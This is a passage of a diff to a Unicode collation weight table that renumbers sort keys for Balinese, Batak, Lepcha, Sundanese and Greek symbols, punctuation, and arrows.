 1B71  ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING KEMPLI WITH JEGOGAN
 1B72  ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING BENDE
 1B73  ; [.0000.0000.0000] # BALINESE MUSICAL SYMBOL COMBINING GONG
-1B74  ; [*055B.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG
-1B75  ; [*055C.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DAG
-1B76  ; [*055D.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TUK
-1B77  ; [*055E.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TAK
-1B78  ; [*055F.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PANG
-1B79  ; [*0560.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PUNG
-1B7A  ; [*0561.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLAK
-1B7B  ; [*0562.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLUK
-1B7C  ; [*0563.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
-1BFC  ; [*0413.0020.0002] # BATAK SYMBOL BINDU NA METEK
-1BFD  ; [*0414.0020.0002] # BATAK SYMBOL BINDU PINARBORAS
-1BFE  ; [*0415.0020.0002] # BATAK SYMBOL BINDU JUDUL
-1BFF  ; [*0416.0020.0002] # BATAK SYMBOL BINDU PANGOLAT
-1C3B  ; [*028F.0020.0002] # LEPCHA PUNCTUATION TA-ROL
-1C3C  ; [*0290.0020.0002] # LEPCHA PUNCTUATION NYET THYOOM TA-ROL
-1C3D  ; [*03F4.0020.0002] # LEPCHA PUNCTUATION CER-WA
-1C3E  ; [*03F5.0020.0002] # LEPCHA PUNCTUATION TSHOOK CER-WA
-1C3F  ; [*03F6.0020.0002] # LEPCHA PUNCTUATION TSHOOK
-1C7E  ; [*02BB.0020.0002] # OL CHIKI PUNCTUATION MUCAAD
-1C7F  ; [*02BC.0020.0002] # OL CHIKI PUNCTUATION DOUBLE MUCAAD
-1CC0  ; [*0408.0020.0002] # SUNDANESE PUNCTUATION BINDU SURYA
-1CC1  ; [*0409.0020.0002] # SUNDANESE PUNCTUATION BINDU PANGLONG
-1CC2  ; [*040A.0020.0002] # SUNDANESE PUNCTUATION BINDU PURNAMA
-1CC3  ; [*040B.0020.0002] # SUNDANESE PUNCTUATION BINDU CAKRA
-1CC4  ; [*040C.0020.0002] # SUNDANESE PUNCTUATION BINDU LEU SATANGA
-1CC5  ; [*040D.0020.0002] # SUNDANESE PUNCTUATION BINDU KA SATANGA
-1CC6  ; [*040E.0020.0002] # SUNDANESE PUNCTUATION BINDU DA SATANGA
-1CC7  ; [*040F.0020.0002] # SUNDANESE PUNCTUATION BINDU BA SATANGA
+1B74  ; [*057B.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG
+1B75  ; [*057C.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DAG
+1B76  ; [*057D.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TUK
+1B77  ; [*057E.0020.0002] # BALINESE MUSICAL SYMBOL RIGHT-HAND CLOSED TAK
+1B78  ; [*057F.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PANG
+1B79  ; [*0580.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PUNG
+1B7A  ; [*0581.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLAK
+1B7B  ; [*0582.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND CLOSED PLUK
+1B7C  ; [*0583.0020.0002] # BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
+1BFC  ; [*042A.0020.0002] # BATAK SYMBOL BINDU NA METEK
+1BFD  ; [*042B.0020.0002] # BATAK SYMBOL BINDU PINARBORAS
+1BFE  ; [*042C.0020.0002] # BATAK SYMBOL BINDU JUDUL
+1BFF  ; [*042D.0020.0002] # BATAK SYMBOL BINDU PANGOLAT
+1C3B  ; [*0292.0020.0002] # LEPCHA PUNCTUATION TA-ROL
+1C3C  ; [*0293.0020.0002] # LEPCHA PUNCTUATION NYET THYOOM TA-ROL
+1C3D  ; [*040B.0020.0002] # LEPCHA PUNCTUATION CER-WA
+1C3E  ; [*040C.0020.0002] # LEPCHA PUNCTUATION TSHOOK CER-WA
+1C3F  ; [*040D.0020.0002] # LEPCHA PUNCTUATION TSHOOK
+1C7E  ; [*02C2.0020.0002] # OL CHIKI PUNCTUATION MUCAAD
+1C7F  ; [*02C3.0020.0002] # OL CHIKI PUNCTUATION DOUBLE MUCAAD
+1CC0  ; [*041F.0020.0002] # SUNDANESE PUNCTUATION BINDU SURYA
+1CC1  ; [*0420.0020.0002] # SUNDANESE PUNCTUATION BINDU PANGLONG
+1CC2  ; [*0421.0020.0002] # SUNDANESE PUNCTUATION BINDU PURNAMA
+1CC3  ; [*0422.0020.0002] # SUNDANESE PUNCTUATION BINDU CAKRA
+1CC4  ; [*0423.0020.0002] # SUNDANESE PUNCTUATION BINDU LEU SATANGA
+1CC5  ; [*0424.0020.0002] # SUNDANESE PUNCTUATION BINDU KA SATANGA
+1CC6  ; [*0425.0020.0002] # SUNDANESE PUNCTUATION BINDU DA SATANGA
+1CC7  ; [*0426.0020.0002] # SUNDANESE PUNCTUATION BINDU BA SATANGA
 1CD0  ; [.0000.0000.0000] # VEDIC TONE KARSHANA
 1CD1  ; [.0000.0000.0000] # VEDIC TONE SHARA
 1CD2  ; [.0000.0000.0000] # VEDIC TONE PRENKHA
@@ -1074,21 +1101,21 @@
 1CF4  ; [.0000.0000.0000] # VEDIC TONE CANDRA ABOVE
 1CF8  ; [.0000.0000.0000] # VEDIC TONE RING ABOVE
 1CF9  ; [.0000.0000.0000] # VEDIC TONE DOUBLE RING ABOVE
-1FBD  ; [*046F.0020.0002] # GREEK KORONIS
-1FBF  ; [*046F.0020.0002] # GREEK PSILI
-1FC0  ; [*0471.0020.0002] # GREEK PERISPOMENI
-1FC1  ; [*046A.0020.0002][.0000.002A.0002] # GREEK DIALYTIKA AND PERISPOMENI
-1FCD  ; [*046F.0020.0002][.0000.0025.0002] # GREEK PSILI AND VARIA
-1FCE  ; [*046F.0020.0002][.0000.0024.0002] # GREEK PSILI AND OXIA
-1FCF  ; [*046F.0020.0002][.0000.002A.0002] # GREEK PSILI AND PERISPOMENI
-1FDD  ; [*0470.0020.0002][.0000.0025.0002] # GREEK DASIA AND VARIA
-1FDE  ; [*0470.0020.0002][.0000.0024.0002] # GREEK DASIA AND OXIA
-1FDF  ; [*0470.0020.0002][.0000.002A.0002] # GREEK DASIA AND PERISPOMENI
-1FED  ; [*046A.0020.0002][.0000.0025.0002] # GREEK DIALYTIKA AND VARIA
-1FEE  ; [*046A.0020.0002][.0000.0024.0002] # GREEK DIALYTIKA AND OXIA
-1FEF  ; [*0463.0020.0002] # GREEK VARIA
-1FFD  ; [*0464.0020.0002] # GREEK OXIA
-1FFE  ; [*0470.0020.0002] # GREEK DASIA
+1FBD  ; [*048E.0020.0002] # GREEK KORONIS
+1FBF  ; [*048E.0020.0002] # GREEK PSILI
+1FC0  ; [*0490.0020.0002] # GREEK PERISPOMENI
+1FC1  ; [*0489.0020.0002][.0000.002A.0002] # GREEK DIALYTIKA AND PERISPOMENI
+1FCD  ; [*048E.0020.0002][.0000.0025.0002] # GREEK PSILI AND VARIA
+1FCE  ; [*048E.0020.0002][.0000.0024.0002] # GREEK PSILI AND OXIA
+1FCF  ; [*048E.0020.0002][.0000.002A.0002] # GREEK PSILI AND PERISPOMENI
+1FDD  ; [*048F.0020.0002][.0000.0025.0002] # GREEK DASIA AND VARIA
+1FDE  ; [*048F.0020.0002][.0000.0024.0002] # GREEK DASIA AND OXIA
+1FDF  ; [*048F.0020.0002][.0000.002A.0002] # GREEK DASIA AND PERISPOMENI
+1FED  ; [*0489.0020.0002][.0000.0025.0002] # GREEK DIALYTIKA AND VARIA
+1FEE  ; [*0489.0020.0002][.0000.0024.0002] # GREEK DIALYTIKA AND OXIA
+1FEF  ; [*0482.0020.0002] # GREEK VARIA
+1FFD  ; [*0483.0020.0002] # GREEK OXIA
+1FFE  ; [*048F.0020.0002] # GREEK DASIA
 2000  ; [*0209.0020.0004] # EN QUAD
 2001  ; [*0209.0020.0004] # EM QUAD
 2002  ; [*0209.0020.0004] # EN SPACE
@@ -1106,2863 +1133,2869 @@
 2013  ; [*0215.0020.0002] # EN DASH
 2014  ; [*0216.0020.0002] # EM DASH
 2015  ; [*0217.0020.0002] # HORIZONTAL BAR
-2016  ; [*037C.0020.0002] # DOUBLE VERTICAL LINE
+2016  ; [*0383.0020.0002] # DOUBLE VERTICAL LINE
 2017  ; [*020C.0020.0002] # DOUBLE LOW LINE
-2018  ; [*02FF.0020.0002] # LEFT SINGLE QUOTATION MARK
-2019  ; [*0300.0020.0002] # RIGHT SINGLE QUOTATION MARK
-201A  ; [*0301.0020.0002] # SINGLE LOW-9 QUOTATION MARK
-201B  ; [*0302.0020.0002] # SINGLE HIGH-REVERSED-9 QUOTATION MARK
-201C  ; [*0306.0020.0002] # LEFT DOUBLE QUOTATION MARK
-201D  ; [*0307.0020.0002] # RIGHT DOUBLE QUOTATION MARK
-201E  ; [*0308.0020.0002] # DOUBLE LOW-9 QUOTATION MARK
-201F  ; [*0309.0020.0002] # DOUBLE HIGH-REVERSED-9 QUOTATION MARK
-2020  ; [*0398.0020.0002] # DAGGER
-2021  ; [*0399.0020.0002] # DOUBLE DAGGER
-2022  ; [*039D.0020.0002] # BULLET
-2023  ; [*039E.0020.0002] # TRIANGULAR BULLET
-2024  ; [*0274.0020.0004] # ONE DOT LEADER
-2025  ; [*0274.0020.0004][*0274.0020.0004] # TWO DOT LEADER
-2026  ; [*0274.0020.0004][*0274.0020.0004][*0274.0020.0004] # HORIZONTAL ELLIPSIS
-2027  ; [*039F.0020.0002] # HYPHENATION POINT
+2018  ; [*0306.0020.0002] # LEFT SINGLE QUOTATION MARK
+2019  ; [*0307.0020.0002] # RIGHT SINGLE QUOTATION MARK
+201A  ; [*0308.0020.0002] # SINGLE LOW-9 QUOTATION MARK
+201B  ; [*0309.0020.0002] # SINGLE HIGH-REVERSED-9 QUOTATION MARK
+201C  ; [*030D.0020.0002] # LEFT DOUBLE QUOTATION MARK
+201D  ; [*030E.0020.0002] # RIGHT DOUBLE QUOTATION MARK
+201E  ; [*030F.0020.0002] # DOUBLE LOW-9 QUOTATION MARK
+201F  ; [*0310.0020.0002] # DOUBLE HIGH-REVERSED-9 QUOTATION MARK
+2020  ; [*039F.0020.0002] # DAGGER
+2021  ; [*03A0.0020.0002] # DOUBLE DAGGER
+2022  ; [*03A4.0020.0002] # BULLET
+2023  ; [*03A5.0020.0002] # TRIANGULAR BULLET
+2024  ; [*0277.0020.0004] # ONE DOT LEADER
+2025  ; [*0277.0020.0004][*0277.0020.0004] # TWO DOT LEADER
+2026  ; [*0277.0020.0004][*0277.0020.0004][*0277.0020.0004] # HORIZONTAL ELLIPSIS
+2027  ; [*03A6.0020.0002] # HYPHENATION POINT
 2028  ; [*0207.0020.0002] # LINE SEPARATOR
 2029  ; [*0208.0020.0002] # PARAGRAPH SEPARATOR
 202F  ; [*0209.0020.001B] # NARROW NO-BREAK SPACE
-2030  ; [*0394.0020.0002] # PER MILLE SIGN
-2031  ; [*0396.0020.0002] # PER TEN THOUSAND SIGN
-2032  ; [*03A3.0020.0002] # PRIME
-2033  ; [*03A3.0020.0004][*03A3.0020.0004] # DOUBLE PRIME
-2034  ; [*03A3.0020.0004][*03A3.0020.0004][*03A3.0020.0004] # TRIPLE PRIME
-2035  ; [*03A4.0020.0002] # REVERSED PRIME
-2036  ; [*03A4.0020.0004][*03A4.0020.0004] # REVERSED DOUBLE PRIME
-2037  ; [*03A4.0020.0004][*03A4.0020.0004][*03A4.0020.0004] # REVERSED TRIPLE PRIME
-2038  ; [*03A7.0020.0002] # CARET
-2039  ; [*0303.0020.0002] # SINGLE LEFT-POINTING ANGLE QUOTATION MARK
-203A  ; [*0304.0020.0002] # SINGLE RIGHT-POINTING ANGLE QUOTATION MARK
-203B  ; [*03A8.0020.0002] # REFERENCE MARK
-203C  ; [*025F.0020.0004][*025F.0020.0004] # DOUBLE EXCLAMATION MARK
-203D  ; [*0272.0020.0002] # INTERROBANG
+2030  ; [*039B.0020.0002] # PER MILLE SIGN
+2031  ; [*039D.0020.0002] # PER TEN THOUSAND SIGN
+2032  ; [*03AA.0020.0002] # PRIME
+2033  ; [*03AA.0020.0004][*03AA.0020.0004] # DOUBLE PRIME
+2034  ; [*03AA.0020.0004][*03AA.0020.0004][*03AA.0020.0004] # TRIPLE PRIME
+2035  ; [*03AB.0020.0002] # REVERSED PRIME
+2036  ; [*03AB.0020.0004][*03AB.0020.0004] # REVERSED DOUBLE PRIME
+2037  ; [*03AB.0020.0004][*03AB.0020.0004][*03AB.0020.0004] # REVERSED TRIPLE PRIME
+2038  ; [*03AE.0020.0002] # CARET
+2039  ; [*030A.0020.0002] # SINGLE LEFT-POINTING ANGLE QUOTATION MARK
+203A  ; [*030B.0020.0002] # SINGLE RIGHT-POINTING ANGLE QUOTATION MARK
+203B  ; [*03AF.0020.0002] # REFERENCE MARK
+203C  ; [*0260.0020.0004][*0260.0020.0004] # DOUBLE EXCLAMATION MARK
+203D  ; [*0275.0020.0002] # INTERROBANG
 203E  ; [*020A.0020.0002] # OVERLINE
-203F  ; [*03A9.0020.0002] # UNDERTIE
-2040  ; [*03AB.0020.0002] # CHARACTER TIE
-2041  ; [*03AD.0020.0002] # CARET INSERTION POINT
-2042  ; [*03AE.0020.0002] # ASTERISM
-2043  ; [*03A0.0020.0002] # HYPHEN BULLET
-2044  ; [*0606.0020.0002] # FRACTION SLASH
-2045  ; [*031C.0020.0002] # LEFT SQUARE BRACKET WITH QUILL
-2046  ; [*031D.0020.0002] # RIGHT SQUARE BRACKET WITH QUILL
-2047  ; [*0264.0020.0004][*0264.0020.0004] # DOUBLE QUESTION MARK
-2048  ; [*0264.0020.0004][*025F.0020.0004] # QUESTION EXCLAMATION MARK
-2049  ; [*025F.0020.0004][*0264.0020.0004] # EXCLAMATION QUESTION MARK
-204A  ; [*0390.0020.0002] # TIRONIAN SIGN ET
-204B  ; [*0385.0020.0002] # REVERSED PILCROW SIGN
-204C  ; [*03A1.0020.0002] # BLACK LEFTWARDS BULLET
-204D  ; [*03A2.0020.0002] # BLACK RIGHTWARDS BULLET
-204E  ; [*0389.0020.0002] # LOW ASTERISK
-204F  ; [*0235.0020.0002] # REVERSED SEMICOLON
-2050  ; [*03AC.0020.0002] # CLOSE UP
-2051  ; [*038A.0020.0002] # TWO ASTERISKS ALIGNED VERTICALLY
-2052  ; [*0602.0020.0002] # COMMERCIAL MINUS SIGN
+203F  ; [*03B0.0020.0002] # UNDERTIE
+2040  ; [*03B2.0020.0002] # CHARACTER TIE
+2041  ; [*03B4.0020.0002] # CARET INSERTION POINT
+2042  ; [*03B5.0020.0002] # ASTERISM
+2043  ; [*03A7.0020.0002] # HYPHEN BULLET
+2044  ; [*0626.0020.0002] # FRACTION SLASH
+2045  ; [*0323.0020.0002] # LEFT SQUARE BRACKET WITH QUILL
+2046  ; [*0324.0020.0002] # RIGHT SQUARE BRACKET WITH QUILL
+2047  ; [*0266.0020.0004][*0266.0020.0004] # DOUBLE QUESTION MARK
+2048  ; [*0266.0020.0004][*0260.0020.0004] # QUESTION EXCLAMATION MARK
+2049  ; [*0260.0020.0004][*0266.0020.0004] # EXCLAMATION QUESTION MARK
+204A  ; [*0397.0020.0002] # TIRONIAN SIGN ET
+204B  ; [*038C.0020.0002] # REVERSED PILCROW SIGN
+204C  ; [*03A8.0020.0002] # BLACK LEFTWARDS BULLET
+204D  ; [*03A9.0020.0002] # BLACK RIGHTWARDS BULLET
+204E  ; [*0390.0020.0002] # LOW ASTERISK
+204F  ; [*0236.0020.0002] # REVERSED SEMICOLON
+2050  ; [*03B3.0020.0002] # CLOSE UP
+2051  ; [*0391.0020.0002] # TWO ASTERISKS ALIGNED VERTICALLY
+2052  ; [*0622.0020.0002] # COMMERCIAL MINUS SIGN
 2053  ; [*021A.0020.0002] # SWUNG DASH
-2054  ; [*03AA.0020.0002] # INVERTED UNDERTIE
-2055  ; [*02E1.0020.0002] # FLOWER PUNCTUATION MARK
-2056  ; [*02E2.0020.0002] # THREE DOT PUNCTUATION
-2057  ; [*03A3.0020.0004][*03A3.0020.0004][*03A3.0020.0004][*03A3.0020.0004] # QUADRUPLE PRIME
-2058  ; [*02E3.0020.0002] # FOUR DOT PUNCTUATION
-2059  ; [*02E4.0020.0002] # FIVE DOT PUNCTUATION
-205A  ; [*02E5.0020.0002] # TWO DOT PUNCTUATION
-205B  ; [*02E6.0020.0002] # FOUR DOT MARK
-205C  ; [*02E7.0020.0002] # DOTTED CROSS
-205D  ; [*02E8.0020.0002] # TRICOLON
-205E  ; [*02E9.0020.0002] # VERTICAL FOUR DOTS
+2054  ; [*03B1.0020.0002] # INVERTED UNDERTIE
+2055  ; [*02E8.0020.0002] # FLOWER PUNCTUATION MARK
+2056  ; [*02E9.0020.0002] # THREE DOT PUNCTUATION
+2057  ; [*03AA.0020.0004][*03AA.0020.0004][*03AA.0020.0004][*03AA.0020.0004] # QUADRUPLE PRIME
+2058  ; [*02EA.0020.0002] # FOUR DOT PUNCTUATION
+2059  ; [*02EB.0020.0002] # FIVE DOT PUNCTUATION
+205A  ; [*02EC.0020.0002] # TWO DOT PUNCTUATION
+205B  ; [*02ED.0020.0002] # FOUR DOT MARK
+205C  ; [*02EE.0020.0002] # DOTTED CROSS
+205D  ; [*02EF.0020.0002] # TRICOLON
+205E  ; [*02F0.0020.0002] # VERTICAL FOUR DOTS
 205F  ; [*0209.0020.0004] # MEDIUM MATHEMATICAL SPACE
 2061  ; [.0000.0000.0000] # FUNCTION APPLICATION
 2062  ; [.0000.0000.0000] # INVISIBLE TIMES
 2063  ; [.0000.0000.0000] # INVISIBLE SEPARATOR
 2064  ; [.0000.0000.0000] # INVISIBLE PLUS
-207A  ; [*05F6.0020.0014] # SUPERSCRIPT PLUS SIGN
-207B  ; [*0601.0020.0014] # SUPERSCRIPT MINUS
-207C  ; [*05FB.0020.0014] # SUPERSCRIPT EQUALS SIGN
-207D  ; [*0310.0020.0014] # SUPERSCRIPT LEFT PARENTHESIS
-207E  ; [*0311.0020.0014] # SUPERSCRIPT RIGHT PARENTHESIS
-208A  ; [*05F6.0020.0015] # SUBSCRIPT PLUS SIGN
-208B  ; [*0601.0020.0015] # SUBSCRIPT MINUS
-208C  ; [*05FB.0020.0015] # SUBSCRIPT EQUALS SIGN
-208D  ; [*0310.0020.0015] # SUBSCRIPT LEFT PARENTHESIS
-208E  ; [*0311.0020.0015] # SUBSCRIPT RIGHT PARENTHESIS
-2104  ; [*0566.0020.0002] # CENTRE LINE SYMBOL
-2108  ; [*0567.0020.0002] # SCRUPLE
-2114  ; [*0568.0020.0002] # L B BAR SYMBOL
-2117  ; [*0569.0020.0002] # SOUND RECORDING COPYRIGHT
-2118  ; [*056A.0020.0002] # SCRIPT CAPITAL P
-211E  ; [*056B.0020.0002] # PRESCRIPTION TAKE
-211F  ; [*056C.0020.0002] # RESPONSE
-2123  ; [*056D.0020.0002] # VERSICLE
-2125  ; [*056E.0020.0002] # OUNCE SIGN
-2127  ; [*056F.0020.0002] # INVERTED OHM SIGN
-2129  ; [*0570.0020.0002] # TURNED GREEK SMALL LETTER IOTA
-212E  ; [*0571.0020.0002] # ESTIMATED SYMBOL
-213A  ; [*0572.0020.0002] # ROTATED CAPITAL Q
-2140  ; [*05F5.0020.0005] # DOUBLE-STRUCK N-ARY SUMMATION
-2141  ; [*0573.0020.0002] # TURNED SANS-SERIF CAPITAL G
-2142  ; [*0574.0020.0002] # TURNED SANS-SERIF CAPITAL L
-2143  ; [*0575.0020.0002] # REVERSED SANS-SERIF CAPITAL L
-2144  ; [*0576.0020.0002] # TURNED SANS-SERIF CAPITAL Y
-214A  ; [*0577.0020.0002] # PROPERTY LINE
-214B  ; [*0691.0020.0002] # TURNED AMPERSAND
-214C  ; [*0578.0020.0002] # PER SIGN
-214F  ; [*0579.0020.0002] # SYMBOL FOR SAMARITAN SOURCE
-2180  ; [*1A4C.0020.0002] # ROMAN NUMERAL ONE THOUSAND C D
-2181  ; [*1A4D.0020.0002] # ROMAN NUMERAL FIVE THOUSAND
-2182  ; [*1A4E.0020.0002] # ROMAN NUMERAL TEN THOUSAND
-2186  ; [*1A4F.0020.0002] # ROMAN NUMERAL FIFTY EARLY FORM
-2187  ; [*1A50.0020.0002] # ROMAN NUMERAL FIFTY THOUSAND
-2188  ; [*1A51.0020.0002] # ROMAN NUMERAL ONE HUNDRED THOUSAND
-218A  ; [*057A.0020.0002] # TURNED DIGIT TWO
-218B  ; [*057B.0020.0002] # TURNED DIGIT THREE
-2190  ; [*057C.0020.0002] # LEFTWARDS ARROW
-2191  ; [*057E.0020.0002] # UPWARDS ARROW
-2192  ; [*057D.0020.0002] # RIGHTWARDS ARROW
-2193  ; [*057F.0020.0002] # DOWNWARDS ARROW
-2194  ; [*0580.0020.0002] # LEFT RIGHT ARROW
-2195  ; [*0581.0020.0002] # UP DOWN ARROW
-2196  ; [*0582.0020.0002] # NORTH WEST ARROW
-2197  ; [*0583.0020.0002] # NORTH EAST ARROW
-2198  ; [*0584.0020.0002] # SOUTH EAST ARROW
-2199  ; [*0585.0020.0002] # SOUTH WEST ARROW
-219A  ; [*057C.0020.0002][.0000.002F.0002] # LEFTWARDS ARROW WITH STROKE
-219B  ; [*057D.0020.0002][.0000.002F.0002] # RIGHTWARDS ARROW WITH STROKE
-219C  ; [*0586.0020.0002] # LEFTWARDS WAVE ARROW
-219D  ; [*0587.0020.0002] # RIGHTWARDS WAVE ARROW
-219E  ; [*0588.0020.0002] # LEFTWARDS TWO HEADED ARROW
-219F  ; [*0589.0020.0002] # UPWARDS TWO HEADED ARROW
-21A0  ; [*058A.0020.0002] # RIGHTWARDS TWO HEADED ARROW
-21A1  ; [*058B.0020.0002] # DOWNWARDS TWO HEADED ARROW
-21A2  ; [*058C.0020.0002] # LEFTWARDS ARROW WITH TAIL
-21A3  ; [*058D.0020.0002] # RIGHTWARDS ARROW WITH TAIL
-21A4  ; [*058E.0020.0002] # LEFTWARDS ARROW FROM BAR
-21A5  ; [*058F.0020.0002] # UPWARDS ARROW FROM BAR
-21A6  ; [*0590.0020.0002] # RIGHTWARDS ARROW FROM BAR
-21A7  ; [*0591.0020.0002] # DOWNWARDS ARROW FROM BAR
-21A8  ; [*0592.0020.0002] # UP DOWN ARROW WITH BASE
-21A9  ; [*0593.0020.0002] # LEFTWARDS ARROW WITH HOOK
-21AA  ; [*0594.0020.0002] # RIGHTWARDS ARROW WITH HOOK
-21AB  ; [*0595.0020.0002] # LEFTWARDS ARROW WITH LOOP
-21AC  ; [*0596.0020.0002] # RIGHTWARDS ARROW WITH LOOP
-21AD  ; [*0597.0020.0002] # LEFT RIGHT WAVE ARROW
-21AE  ; [*0580.0020.0002][.0000.002F.0002] # LEFT RIGHT ARROW WITH STROKE
-21AF  ; [*0598.0020.0002] # DOWNWARDS ZIGZAG ARROW
-21B0  ; [*0599.0020.0002] # UPWARDS ARROW WITH TIP LEFTWARDS
-21B1  ; [*059A.0020.0002] # UPWARDS ARROW WITH TIP RIGHTWARDS
-21B2  ; [*059B.0020.0002] # DOWNWARDS ARROW WITH TIP LEFTWARDS
-21B3  ; [*059C.0020.0002] # DOWNWARDS ARROW WITH TIP RIGHTWARDS
-21B4  ; [*059D.0020.0002] # RIGHTWARDS ARROW WITH CORNER DOWNWARDS
-21B5  ; [*059E.0020.0002] # DOWNWARDS ARROW WITH CORNER LEFTWARDS
-21B6  ; [*059F.0020.0002] # ANTICLOCKWISE TOP SEMICIRCLE ARROW
-21B7  ; [*05A0.0020.0002] # CLOCKWISE TOP SEMICIRCLE ARROW
-21B8  ; [*05A1.0020.0002] # NORTH WEST ARROW TO LONG BAR
-21B9  ; [*05A2.0020.0002] # LEFTWARDS ARROW TO BAR OVER RIGHTWARDS ARROW TO BAR
-21BA  ; [*05A3.0020.0002] # ANTICLOCKWISE OPEN CIRCLE ARROW
-21BB  ; [*05A4.0020.0002] # CLOCKWISE OPEN CIRCLE ARROW
-21BC  ; [*05A5.0020.0002] # LEFTWARDS HARPOON WITH BARB UPWARDS
-21BD  ; [*05A6.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWNWARDS
-21BE  ; [*05A7.0020.0002] # UPWARDS HARPOON WITH BARB RIGHTWARDS
-21BF  ; [*05A8.0020.0002] # UPWARDS HARPOON WITH BARB LEFTWARDS
-21C0  ; [*05A9.0020.0002] # RIGHTWARDS HARPOON WITH BARB UPWARDS
-21C1  ; [*05AA.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWNWARDS
-21C2  ; [*05AB.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHTWARDS
-21C3  ; [*05AC.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFTWARDS
-21C4  ; [*05AD.0020.0002] # RIGHTWARDS ARROW OVER LEFTWARDS ARROW
-21C5  ; [*05AE.0020.0002] # UPWARDS ARROW LEFTWARDS OF DOWNWARDS ARROW
-21C6  ; [*05AF.0020.0002] # LEFTWARDS ARROW OVER RIGHTWARDS ARROW
-21C7  ; [*05B0.0020.0002] # LEFTWARDS PAIRED ARROWS
-21C8  ; [*05B1.0020.0002] # UPWARDS PAIRED ARROWS
-21C9  ; [*05B2.0020.0002] # RIGHTWARDS PAIRED ARROWS
-21CA  ; [*05B3.0020.0002] # DOWNWARDS PAIRED ARROWS
-21CB  ; [*05B4.0020.0002] # LEFTWARDS HARPOON OVER RIGHTWARDS HARPOON
-21CC  ; [*05B5.0020.0002] # RIGHTWARDS HARPOON OVER LEFTWARDS HARPOON
-21CD  ; [*05B6.0020.0002][.0000.002F.0002] # LEFTWARDS DOUBLE ARROW WITH STROKE
-21CE  ; [*05BA.0020.0002][.0000.002F.0002] # LEFT RIGHT DOUBLE ARROW WITH STROKE
-21CF  ; [*05B8.0020.0002][.0000.002F.0002] # RIGHTWARDS DOUBLE ARROW WITH STROKE
-21D0  ; [*05B6.0020.0002] # LEFTWARDS DOUBLE ARROW
-21D1  ; [*05B7.0020.0002] # UPWARDS DOUBLE ARROW
-21D2  ; [*05B8.0020.0002] # RIGHTWARDS DOUBLE ARROW
-21D3  ; [*05B9.0020.0002] # DOWNWARDS DOUBLE ARROW
-21D4  ; [*05BA.0020.0002] # LEFT RIGHT DOUBLE ARROW
-21D5  ; [*05BB.0020.0002] # UP DOWN DOUBLE ARROW
-21D6  ; [*05BC.0020.0002] # NORTH WEST DOUBLE ARROW
-21D7  ; [*05BD.0020.0002] # NORTH EAST DOUBLE ARROW
-21D8  ; [*05BE.0020.0002] # SOUTH EAST DOUBLE ARROW
-21D9  ; [*05BF.0020.0002] # SOUTH WEST DOUBLE ARROW
-21DA  ; [*05C0.0020.0002] # LEFTWARDS TRIPLE ARROW
-21DB  ; [*05C1.0020.0002] # RIGHTWARDS TRIPLE ARROW
-21DC  ; [*05C2.0020.0002] # LEFTWARDS SQUIGGLE ARROW
-21DD  ; [*05C3.0020.0002] # RIGHTWARDS SQUIGGLE ARROW
-21DE  ; [*05C4.0020.0002] # UPWARDS ARROW WITH DOUBLE STROKE
-21DF  ; [*05C5.0020.0002] # DOWNWARDS ARROW WITH DOUBLE STROKE
-21E0  ; [*05C6.0020.0002] # LEFTWARDS DASHED ARROW
-21E1  ; [*05C7.0020.0002] # UPWARDS DASHED ARROW
-21E2  ; [*05C8.0020.0002] # RIGHTWARDS DASHED ARROW
-21E3  ; [*05C9.0020.0002] # DOWNWARDS DASHED ARROW
-21E4  ; [*05CA.0020.0002] # LEFTWARDS ARROW TO BAR
-21E5  ; [*05CB.0020.0002] # RIGHTWARDS ARROW TO BAR
-21E6  ; [*05CC.0020.0002] # LEFTWARDS WHITE ARROW
-21E7  ; [*05CD.0020.0002] # UPWARDS WHITE ARROW
-21E8  ; [*05CE.0020.0002] # RIGHTWARDS WHITE ARROW
-21E9  ; [*05CF.0020.0002] # DOWNWARDS WHITE ARROW
-21EA  ; [*05D0.0020.0002] # UPWARDS WHITE ARROW FROM BAR
-21EB  ; [*05D1.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL
-21EC  ; [*05D2.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL WITH HORIZONTAL BAR
-21ED  ; [*05D3.0020.0002] # UPWARDS WHITE ARROW ON PEDESTAL WITH VERTICAL BAR
-21EE  ; [*05D4.0020.0002] # UPWARDS WHITE DOUBLE ARROW
-21EF  ; [*05D5.0020.0002] # UPWARDS WHITE DOUBLE ARROW ON PEDESTAL
-21F0  ; [*05D6.0020.0002] # RIGHTWARDS WHITE ARROW FROM WALL
-21F1  ; [*05D7.0020.0002] # NORTH WEST ARROW TO CORNER
-21F2  ; [*05D8.0020.0002] # SOUTH EAST ARROW TO CORNER
-21F3  ; [*05D9.0020.0002] # UP DOWN WHITE ARROW
-21F4  ; [*05DA.0020.0002] # RIGHT ARROW WITH SMALL CIRCLE
-21F5  ; [*05DB.0020.0002] # DOWNWARDS ARROW LEFTWARDS OF UPWARDS ARROW
-21F6  ; [*05DC.0020.0002] # THREE RIGHTWARDS ARROWS
-21F7  ; [*05DD.0020.0002] # LEFTWARDS ARROW WITH VERTICAL STROKE
